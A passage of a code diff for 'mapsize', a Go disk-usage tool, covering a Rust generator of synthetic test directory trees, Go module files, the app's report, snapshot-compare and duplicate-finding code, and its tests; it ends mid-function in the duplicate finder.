(1000usize, 10000usize, 8usize, 1usize << 20, 1u64, 3usize);
|
||||
let (mut sparse, mut unicode, mut hostile) = (false, false, false);
|
||||
let mut args = std::env::args().skip(1);
|
||||
while let Some(a) = args.next() {
|
||||
let Some(flag) = a.strip_prefix("--").or_else(|| a.strip_prefix('-')) else {
|
||||
usage()
|
||||
};
|
||||
let (key, inline) = match flag.split_once('=') {
|
||||
Some((k, v)) => (k, Some(v.to_string())),
|
||||
None => (flag, None),
|
||||
};
|
||||
if BOOLS.contains(&key) {
|
||||
let on = match inline.as_deref() {
|
||||
None | Some("true" | "1") => true,
|
||||
Some("false" | "0") => false,
|
||||
Some(v) => fatal(format!("invalid value {v:?} for -{key}")),
|
||||
};
|
||||
*match key {
|
||||
"sparse" => &mut sparse,
|
||||
"unicode" => &mut unicode,
|
||||
_ => &mut hostile,
|
||||
} = on;
|
||||
continue;
|
||||
}
|
||||
let v = inline
|
||||
.or_else(|| args.next())
|
||||
.unwrap_or_else(|| fatal(format!("flag needs an argument: -{key}")));
|
||||
let num = || {
|
||||
v.parse::<u64>()
|
||||
.unwrap_or_else(|_| fatal(format!("invalid value {v:?} for -{key}")))
|
||||
};
|
||||
match key {
|
||||
"out" => out = Some(PathBuf::from(&v)),
|
||||
"directories" => dirs = num() as usize,
|
||||
"files" => files = num() as usize,
|
||||
"max-depth" => depth = num() as usize,
|
||||
"max-size" => max_size = num() as usize,
|
||||
"seed" => seed = num(),
|
||||
"hotspots" => hotspots = num() as usize,
|
||||
_ => usage(),
|
||||
}
|
||||
}
|
||||
let Some(out) = out else { usage() };
|
||||
hostile &= cfg!(unix);
|
||||
fs::create_dir_all(&out).unwrap_or_else(|e| fatal(e));
|
||||
if fs::read_dir(&out).is_ok_and(|mut d| d.next().is_some()) {
|
||||
fatal(format!("{} is not empty", out.display()));
|
||||
}
|
||||
let mut r = Rng(seed);
|
||||
let start = Instant::now();
|
||||
|
||||
// Pick a depth first, then a directory at that depth, so the tree is broad
|
||||
// near the top instead of one giant preferential-attachment chain.
|
||||
let mut all = vec![(out.clone(), 0usize)];
|
||||
let mut by_depth = vec![vec![0usize]];
|
||||
while all.len() < dirs + 1 {
|
||||
let lv = &by_depth[r.n(by_depth.len())];
|
||||
let (parent, d) = all[lv[r.n(lv.len())]].clone();
|
||||
if d >= depth {
|
||||
continue;
|
||||
}
|
||||
let p = parent.join(name(&mut r, all.len(), unicode, hostile));
|
||||
if fs::create_dir(&p).is_err() {
|
||||
continue; // name collision; try again
|
||||
}
|
||||
all.push((p, d + 1));
|
||||
if d + 1 == by_depth.len() {
|
||||
by_depth.push(Vec::new());
|
||||
}
|
||||
by_depth[d + 1].push(all.len() - 1);
|
||||
}
|
||||
let hot: Vec<usize> = (0..hotspots).map(|_| r.n(all.len())).collect();
|
||||
// Incompressible, so allocation is real everywhere.
|
||||
let buf: Vec<u8> = (0..max_size).map(|_| r.next() as u8).collect();
|
||||
let (mut bytes, mut created) = (0u64, 0usize);
|
||||
for i in 0..files {
|
||||
let d = if !hot.is_empty() && r.n(3) == 0 {
|
||||
&all[hot[r.n(hot.len())]].0
|
||||
} else {
|
||||
&all[r.n(all.len())].0
|
||||
};
|
||||
let n = name(&mut r, i, unicode, hostile);
|
||||
let p = d.join(n + r.pick(EXTS));
|
||||
// Log-uniform sizes: many tiny files, a few large ones.
|
||||
let mut size = (r.f64() * (max_size as f64).ln()).exp() as usize;
|
||||
if r.n(20) == 0 {
|
||||
size = 0;
|
||||
}
|
||||
let Ok(mut f) = OpenOptions::new().write(true).create_new(true).open(&p) else {
|
||||
continue;
|
||||
};
|
||||
if sparse && r.n(200) == 0 {
|
||||
// Sparse: a large logical size with almost nothing allocated.
|
||||
f.write_all(b"x")
|
||||
.and_then(|_| f.set_len((1 + r.n(8) as u64) << 30))
|
||||
.unwrap_or_else(|e| fatal(e));
|
||||
} else if size > 0 {
|
||||
f.write_all(&buf[..size]).unwrap_or_else(|e| fatal(e));
|
||||
bytes += size as u64;
|
||||
}
|
||||
created += 1;
|
||||
if i % 100_000 == 0 && i > 0 {
|
||||
eprintln!("{i} files…");
|
||||
}
|
||||
}
|
||||
eprintln!(
|
||||
"created {} directories, {created} files ({bytes} logical bytes) in {:.2?}",
|
||||
all.len() - 1,
|
||||
start.elapsed()
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
module github.com/andydixon/mapsize
|
||||
|
||||
go 1.26.0
|
||||
|
||||
require (
|
||||
github.com/rivo/uniseg v0.4.7
|
||||
golang.org/x/sys v0.48.0
|
||||
)
|
||||
|
||||
require (
|
||||
charm.land/bubbletea/v2 v2.0.10 // indirect
|
||||
github.com/charmbracelet/colorprofile v0.4.3 // indirect
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 // indirect
|
||||
github.com/charmbracelet/x/ansi v0.11.8 // indirect
|
||||
github.com/charmbracelet/x/term v0.2.2 // indirect
|
||||
github.com/charmbracelet/x/termios v0.1.1 // indirect
|
||||
github.com/charmbracelet/x/windows v0.2.2 // indirect
|
||||
github.com/clipperhouse/displaywidth v0.11.0 // indirect
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.24 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
golang.org/x/sync v0.21.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,32 @@
|
||||
charm.land/bubbletea/v2 v2.0.10 h1:oolvo20VBpI0PfqE7iFjkZ1bx0WpmXGfnKz5Yldjq5o=
|
||||
charm.land/bubbletea/v2 v2.0.10/go.mod h1:QOatcnhOjYIfxzUSTz6raF7Ex4R/rIuHa3SnBdCCpMc=
|
||||
github.com/charmbracelet/colorprofile v0.4.3 h1:QPa1IWkYI+AOB+fE+mg/5/4HRMZcaXex9t5KX76i20Q=
|
||||
github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 h1:3FmWoGNWK4STvqg0O0Aeav2T7rodWJAPeF0QpH+8gFw=
|
||||
github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7/go.mod h1:f/jRa757WUmaOZrbPspXymbg/GnbF+rwe4OLsG7aXYo=
|
||||
github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ=
|
||||
github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0=
|
||||
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
|
||||
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
|
||||
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
|
||||
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
|
||||
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
|
||||
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
|
||||
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
|
||||
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
|
||||
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4=
|
||||
github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
||||
github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU=
|
||||
github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
|
||||
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
|
||||
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
|
||||
golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM=
|
||||
golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
|
||||
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
||||
@@ -0,0 +1,171 @@
|
||||
// Package app wires the command-line modes together: interactive TUI,
|
||||
// non-interactive reports, snapshots and comparisons. TUI and CLI share the
|
||||
// same scanner and inventory packages.
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"os"
|
||||
"os/signal"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/config"
|
||||
"github.com/andydixon/mapsize/internal/export"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
// Config is the fully-resolved command line.
|
||||
type Config struct {
|
||||
Paths []string
|
||||
ScanOpts scan.Options
|
||||
NoUI bool
|
||||
JSON, CSV bool
|
||||
Depth int
|
||||
Top int
|
||||
LargestFiles int
|
||||
Save string
|
||||
Load string
|
||||
Compare [2]string
|
||||
Duplicates bool
|
||||
ReadOnly bool
|
||||
Theme string
|
||||
SizeMode inventory.SizeMode
|
||||
Mouse bool
|
||||
Color string
|
||||
Settings config.Settings
|
||||
Stdout io.Writer
|
||||
Stderr io.Writer
|
||||
}
|
||||
|
||||
// Report reports whether any non-interactive output was requested.
|
||||
func (c *Config) Report() bool {
|
||||
return c.NoUI || c.JSON || c.CSV || c.Top > 0 || c.LargestFiles > 0 || c.Duplicates
|
||||
}
|
||||
|
||||
// Run executes the configured mode.
|
||||
func Run(cfg *Config) error {
|
||||
if cfg.Stdout == nil {
|
||||
cfg.Stdout = os.Stdout
|
||||
}
|
||||
if cfg.Stderr == nil {
|
||||
cfg.Stderr = os.Stderr
|
||||
}
|
||||
if cfg.Compare[0] != "" {
|
||||
return runCompare(cfg)
|
||||
}
|
||||
if !cfg.Report() {
|
||||
return runTUI(cfg)
|
||||
}
|
||||
return runReport(cfg)
|
||||
}
|
||||
|
||||
// startSource begins a scan (or loads a snapshot). The scanner is nil when
|
||||
// the tree came from a snapshot.
|
||||
func startSource(ctx context.Context, cfg *Config) (*scan.Scanner, *inventory.Tree, error) {
|
||||
if cfg.Load != "" {
|
||||
t, err := loadSnapshot(cfg.Load)
|
||||
return nil, t, err
|
||||
}
|
||||
root := "."
|
||||
if len(cfg.Paths) > 0 {
|
||||
root = cfg.Paths[0]
|
||||
}
|
||||
slog.Info("scan start", "workers", cfg.ScanOpts.Workers, "follow", cfg.ScanOpts.Follow.String())
|
||||
s, err := scan.Start(ctx, root, cfg.ScanOpts)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return s, s.Tree, nil
|
||||
}
|
||||
|
||||
func runReport(cfg *Config) error {
|
||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||
defer stop()
|
||||
s, t, err := startSource(ctx, cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if s != nil {
|
||||
waitWithProgress(s, cfg.Stderr)
|
||||
}
|
||||
if cfg.Duplicates && !cfg.JSON && !cfg.CSV {
|
||||
// Find takes its own read lock; never nest RLock.
|
||||
if err := runDuplicates(ctx, cfg, t); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
if s != nil && cfg.Save != "" {
|
||||
if err := saveSnapshot(t, cfg.Save); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Fprintf(cfg.Stderr, "Saved snapshot %s\n", cfg.Save)
|
||||
}
|
||||
out := cfg.Stdout
|
||||
switch {
|
||||
case cfg.JSON:
|
||||
return export.JSON(out, t, t.Root(), cfg.Depth)
|
||||
case cfg.CSV:
|
||||
return export.CSV(out, t, t.Root(), cfg.Depth)
|
||||
}
|
||||
if cfg.Top > 0 {
|
||||
ids := t.SortedChildren(t.Root(), cfg.SizeMode)
|
||||
if len(ids) > cfg.Top {
|
||||
ids = ids[:cfg.Top]
|
||||
}
|
||||
export.Table(out, t, ids, cfg.SizeMode)
|
||||
fmt.Fprintln(out)
|
||||
}
|
||||
if cfg.LargestFiles > 0 {
|
||||
ids := t.Top(t.Root(), cfg.LargestFiles,
|
||||
func(n *inventory.Node) bool {
|
||||
return n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0
|
||||
},
|
||||
func(n *inventory.Node) int64 { return n.Own(cfg.SizeMode) })
|
||||
export.Table(out, t, ids, cfg.SizeMode)
|
||||
fmt.Fprintln(out)
|
||||
}
|
||||
export.Summary(out, t)
|
||||
return nil
|
||||
}
|
||||
|
||||
// waitWithProgress blocks until the scan finishes, printing a progress line
|
||||
// to w if it is a terminal.
|
||||
func waitWithProgress(s *scan.Scanner, w io.Writer) {
|
||||
tty := isTerminal(w)
|
||||
tick := time.NewTicker(250 * time.Millisecond)
|
||||
defer tick.Stop()
|
||||
start := time.Now()
|
||||
for {
|
||||
select {
|
||||
case <-s.Done():
|
||||
if tty {
|
||||
fmt.Fprint(w, "\r\033[K")
|
||||
}
|
||||
return
|
||||
case <-tick.C:
|
||||
if tty {
|
||||
p := s.Progress()
|
||||
el := time.Since(start)
|
||||
fmt.Fprintf(w, "\r\033[Kscanning… %s entries %s/s queue %d %s",
|
||||
textutil.Count(p.Entries), textutil.Count(int64(float64(p.Entries)/el.Seconds())),
|
||||
p.Pending, textutil.Duration(el))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isTerminal(w io.Writer) bool {
|
||||
f, ok := w.(*os.File)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
fi, err := f.Stat()
|
||||
return err == nil && fi.Mode()&os.ModeCharDevice != 0
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
)
|
||||
|
||||
func fixture(t *testing.T) string {
|
||||
root := t.TempDir()
|
||||
os.MkdirAll(filepath.Join(root, "big"), 0o755)
|
||||
os.MkdirAll(filepath.Join(root, "small"), 0o755)
|
||||
os.WriteFile(filepath.Join(root, "big", "a.iso"), make([]byte, 300_000), 0o644)
|
||||
os.WriteFile(filepath.Join(root, "big", "b.iso"), make([]byte, 300_000), 0o644)
|
||||
os.WriteFile(filepath.Join(root, "small", "c.txt"), []byte("hello"), 0o644)
|
||||
return root
|
||||
}
|
||||
|
||||
func run(t *testing.T, cfg *Config) string {
|
||||
t.Helper()
|
||||
var out bytes.Buffer
|
||||
cfg.Stdout, cfg.Stderr = &out, &bytes.Buffer{}
|
||||
cfg.ScanOpts = scan.Options{Workers: 2}
|
||||
if err := Run(cfg); err != nil {
|
||||
t.Fatalf("Run: %v", err)
|
||||
}
|
||||
return out.String()
|
||||
}
|
||||
|
||||
func TestTopAndLargest(t *testing.T) {
|
||||
root := fixture(t)
|
||||
out := run(t, &Config{Paths: []string{root}, Top: 5, LargestFiles: 2})
|
||||
if !strings.Contains(out, filepath.Join(root, "big")) || !strings.Contains(out, "a.iso") {
|
||||
t.Fatalf("report missing entries:\n%s", out)
|
||||
}
|
||||
if strings.Index(out, filepath.Join(root, "big")) > strings.Index(out, filepath.Join(root, "small")) {
|
||||
t.Fatalf("not sorted by size:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONIsValid(t *testing.T) {
|
||||
root := fixture(t)
|
||||
out := run(t, &Config{Paths: []string{root}, JSON: true, Depth: -1})
|
||||
var v struct {
|
||||
Root string
|
||||
Complete bool
|
||||
Tree struct {
|
||||
Size int64
|
||||
Children []struct{ Name string }
|
||||
}
|
||||
}
|
||||
if err := json.Unmarshal([]byte(out), &v); err != nil {
|
||||
t.Fatalf("invalid JSON: %v\n%s", err, out)
|
||||
}
|
||||
if !v.Complete || v.Tree.Size < 600_005 || len(v.Tree.Children) != 2 {
|
||||
t.Fatalf("unexpected JSON: %+v", v)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCSV(t *testing.T) {
|
||||
root := fixture(t)
|
||||
out := run(t, &Config{Paths: []string{root}, CSV: true, Depth: -1})
|
||||
rows, err := csv.NewReader(strings.NewReader(out)).ReadAll()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) != 1+1+2+3 { // header, root, 2 dirs, 3 files
|
||||
t.Fatalf("%d rows:\n%s", len(rows), out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSnapshotSaveLoadCompare(t *testing.T) {
|
||||
root := fixture(t)
|
||||
dir := t.TempDir()
|
||||
a, b := filepath.Join(dir, "a.msz"), filepath.Join(dir, "b.msz")
|
||||
run(t, &Config{Paths: []string{root}, NoUI: true, Save: a})
|
||||
os.WriteFile(filepath.Join(root, "small", "grown.bin"), make([]byte, 500_000), 0o644)
|
||||
os.Remove(filepath.Join(root, "big", "b.iso"))
|
||||
run(t, &Config{Paths: []string{root}, NoUI: true, Save: b})
|
||||
|
||||
out := run(t, &Config{Load: a, Top: 3})
|
||||
if !strings.Contains(out, "big") {
|
||||
t.Fatalf("loaded snapshot report:\n%s", out)
|
||||
}
|
||||
out = run(t, &Config{Compare: [2]string{a, b}, NoUI: true})
|
||||
for _, want := range []string{"new", "grown.bin", "removed", "b.iso"} {
|
||||
if !strings.Contains(out, want) {
|
||||
t.Fatalf("compare output missing %q:\n%s", want, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDuplicatesReport(t *testing.T) {
|
||||
root := fixture(t)
|
||||
out := run(t, &Config{Paths: []string{root}, Duplicates: true})
|
||||
if !strings.Contains(out, "1 verified duplicate groups") {
|
||||
t.Fatalf("duplicates:\n%s", out)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/duplicate"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/tui"
|
||||
)
|
||||
|
||||
func runTUI(cfg *Config) error {
|
||||
return tui.Run(tui.Options{
|
||||
ReadOnly: cfg.ReadOnly, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color,
|
||||
Save: cfg.Save, Settings: cfg.Settings,
|
||||
Start: func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { return startSource(ctx, cfg) },
|
||||
})
|
||||
}
|
||||
|
||||
func loadSnapshot(path string) (*inventory.Tree, error) { return snapshot.LoadFile(path) }
|
||||
|
||||
func saveSnapshot(t *inventory.Tree, path string) error { return snapshot.SaveFile(path, t) }
|
||||
|
||||
func runCompare(cfg *Config) error {
|
||||
old, err := snapshot.LoadFile(cfg.Compare[0])
|
||||
if err != nil {
|
||||
return fmt.Errorf("%s: %w", cfg.Compare[0], err)
|
||||
}
|
||||
nw, err := snapshot.LoadFile(cfg.Compare[1])
|
||||
if err != nil {
|
||||
return fmt.Errorf("%s: %w", cfg.Compare[1], err)
|
||||
}
|
||||
d := snapshot.Compare(old, nw)
|
||||
if !cfg.Report() {
|
||||
return tui.Run(tui.Options{
|
||||
ReadOnly: true, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color,
|
||||
Settings: cfg.Settings, Diff: d,
|
||||
Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, nw, nil },
|
||||
})
|
||||
}
|
||||
k := cfg.Top
|
||||
if k <= 0 {
|
||||
k = 30
|
||||
}
|
||||
out := cfg.Stdout
|
||||
ro, rn := old.Node(0), nw.Node(0)
|
||||
fmt.Fprintf(out, "%s → %s\n", textutil.Sanitize(old.Stats.FromSnapshot), textutil.Sanitize(nw.Stats.FromSnapshot))
|
||||
fmt.Fprintf(out, "Total %s → %s (%s)\n\n", textutil.Size(ro.Total(cfg.SizeMode)), textutil.Size(rn.Total(cfg.SizeMode)),
|
||||
textutil.SignedSize(rn.Total(cfg.SizeMode)-ro.Total(cfg.SizeMode)))
|
||||
for _, c := range d.Changes(k, cfg.SizeMode) {
|
||||
fmt.Fprintf(out, "%-10s %14s %s\n", c.Status, textutil.SignedSize(c.Delta), textutil.Sanitize(c.Path))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runDuplicates(ctx context.Context, cfg *Config, t *inventory.Tree) error {
|
||||
var f duplicate.Finder
|
||||
groups, err := f.Find(ctx, t, duplicate.Options{MinSize: 1})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
out := cfg.Stdout
|
||||
var wasted int64
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
for _, g := range groups {
|
||||
wasted += g.Wasted()
|
||||
fmt.Fprintf(out, "%s × %d (sha256 %x…)\n", textutil.Size(g.Size), len(g.Files), g.Hash[:6])
|
||||
for _, id := range g.Files {
|
||||
fmt.Fprintf(out, " %s\n", textutil.Sanitize(t.Path(id)))
|
||||
}
|
||||
}
|
||||
p := f.Progress()
|
||||
fmt.Fprintf(out, "\n%d verified duplicate groups, %s reclaimable (%d candidates by size, %d unreadable/changed)\n\n",
|
||||
len(groups), textutil.Size(wasted), p.Candidates, p.Skipped)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
// Package brand isolates the product name so it can be changed in one place.
|
||||
package brand
|
||||
|
||||
const (
|
||||
Name = "mapsize"
|
||||
SnapshotExt = ".msz"
|
||||
SnapshotMagic = "MAPSIZE\x00"
|
||||
)
|
||||
|
||||
// Version is stamped at release time via -ldflags -X.
|
||||
var Version = "1.0.0"
|
||||
@@ -0,0 +1,72 @@
|
||||
// Package config loads user settings from a JSON file in the OS-specific
|
||||
// user configuration directory. It knows nothing about rendering.
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
)
|
||||
|
||||
// Settings are user preferences. Zero values are never used directly; Load
|
||||
// starts from Defaults and overlays the file.
|
||||
type Settings struct {
|
||||
Workers string `json:"workers"` // conservative|balanced|aggressive|N
|
||||
FollowSymlinks string `json:"follow_symlinks"` // none|same-filesystem|all
|
||||
OneFileSystem bool `json:"one_file_system"`
|
||||
Units string `json:"units"` // iec|si
|
||||
SizeMode string `json:"size_mode"` // allocated|logical
|
||||
Theme string `json:"theme"`
|
||||
Mouse bool `json:"mouse"`
|
||||
Excludes []string `json:"excludes"`
|
||||
// ExtensionColors maps an extension (without dot) to "#rrggbb".
|
||||
ExtensionColors map[string]string `json:"extension_colors"`
|
||||
// CategoryColors maps a category name to "#rrggbb".
|
||||
CategoryColors map[string]string `json:"category_colors"`
|
||||
// RefreshHz is the UI refresh rate while scanning.
|
||||
RefreshHz int `json:"refresh_hz"`
|
||||
}
|
||||
|
||||
// Defaults returns the built-in settings.
|
||||
func Defaults() Settings {
|
||||
return Settings{
|
||||
Workers: "balanced", FollowSymlinks: "none", Units: "iec", SizeMode: "allocated",
|
||||
Theme: "default", Mouse: true, RefreshHz: 10,
|
||||
}
|
||||
}
|
||||
|
||||
// Path returns the config file location.
|
||||
func Path() (string, error) {
|
||||
dir, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, brand.Name, "config.json"), nil
|
||||
}
|
||||
|
||||
// Load reads the config file if present. A missing file is not an error.
|
||||
func Load() (Settings, error) {
|
||||
s := Defaults()
|
||||
p, err := Path()
|
||||
if err != nil {
|
||||
return s, nil
|
||||
}
|
||||
b, err := os.ReadFile(p)
|
||||
if errors.Is(err, fs.ErrNotExist) {
|
||||
return s, nil
|
||||
}
|
||||
if err != nil {
|
||||
return s, err
|
||||
}
|
||||
if err := json.Unmarshal(b, &s); err != nil {
|
||||
return Defaults(), err
|
||||
}
|
||||
if s.RefreshHz < 1 || s.RefreshHz > 60 {
|
||||
s.RefreshHz = 10
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
// Package duplicate finds files with identical content in stages:
|
||||
//
|
||||
// 1. group by exact size (inventory only, no I/O)
|
||||
// 2. hash three 16 KiB samples (start, middle, end) of each candidate
|
||||
// 3. full SHA-256 of files whose samples still collide
|
||||
//
|
||||
// Only stage 3 establishes identity. Files are never declared duplicates by
|
||||
// name or size alone. Reading files may update their access times.
|
||||
package duplicate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"io"
|
||||
"os"
|
||||
"sort"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// Group is a set of files verified to have identical content.
|
||||
type Group struct {
|
||||
Size int64
|
||||
Hash [32]byte
|
||||
Files []inventory.NodeID
|
||||
}
|
||||
|
||||
// Wasted returns the bytes reclaimable by keeping one copy.
|
||||
func (g *Group) Wasted() int64 { return g.Size * int64(len(g.Files)-1) }
|
||||
|
||||
// Progress reports activity.
|
||||
type Progress struct {
|
||||
Stage string
|
||||
Candidates int64 // files sharing a size with another file
|
||||
BytesToHash int64
|
||||
BytesHashed int64
|
||||
Skipped int64 // unreadable or changed during hashing
|
||||
VerifiedGroups int64
|
||||
CandidateGroups int64
|
||||
}
|
||||
|
||||
// Options tunes the search.
|
||||
type Options struct {
|
||||
MinSize int64 // ignore files smaller than this (default 1 byte)
|
||||
Workers int // concurrent readers (default 4)
|
||||
}
|
||||
|
||||
type cand struct {
|
||||
id inventory.NodeID
|
||||
path string
|
||||
size int64
|
||||
}
|
||||
|
||||
const sampleSize = 16 << 10
|
||||
|
||||
// Finder runs a search and exposes live progress.
|
||||
type Finder struct {
|
||||
hashed, toHash, skipped atomic.Int64
|
||||
mu sync.Mutex
|
||||
p Progress
|
||||
}
|
||||
|
||||
// Progress returns a copy of the current progress.
|
||||
func (f *Finder) Progress() Progress {
|
||||
f.mu.Lock()
|
||||
p := f.p
|
||||
f.mu.Unlock()
|
||||
p.BytesHashed, p.BytesToHash, p.Skipped = f.hashed.Load(), f.toHash.Load(), f.skipped.Load()
|
||||
return p
|
||||
}
|
||||
|
||||
func (f *Finder) stage(s string, fn func(*Progress)) {
|
||||
f.mu.Lock()
|
||||
f.p.Stage = s
|
||||
if fn != nil {
|
||||
fn(&f.p)
|
||||
}
|
||||
f.mu.Unlock()
|
||||
}
|
||||
|
||||
// Find searches t (read-locked internally only while collecting candidates).
|
||||
func (f *Finder) Find(ctx context.Context, t *inventory.Tree, o Options) ([]Group, error) {
|
||||
if o.MinSize < 1 {
|
||||
o.MinSize = 1
|
||||
}
|
||||
if o.Workers < 1 {
|
||||
o.Workers = 4
|
||||
}
|
||||
f.stage("grouping by size", nil)
|
||||
bySize := map[int64][]cand{}
|
||||
t.RLock()
|
||||
t.Walk(t.Root(), func(id inventory.NodeID, n *inventory.Node) bool {
|
||||
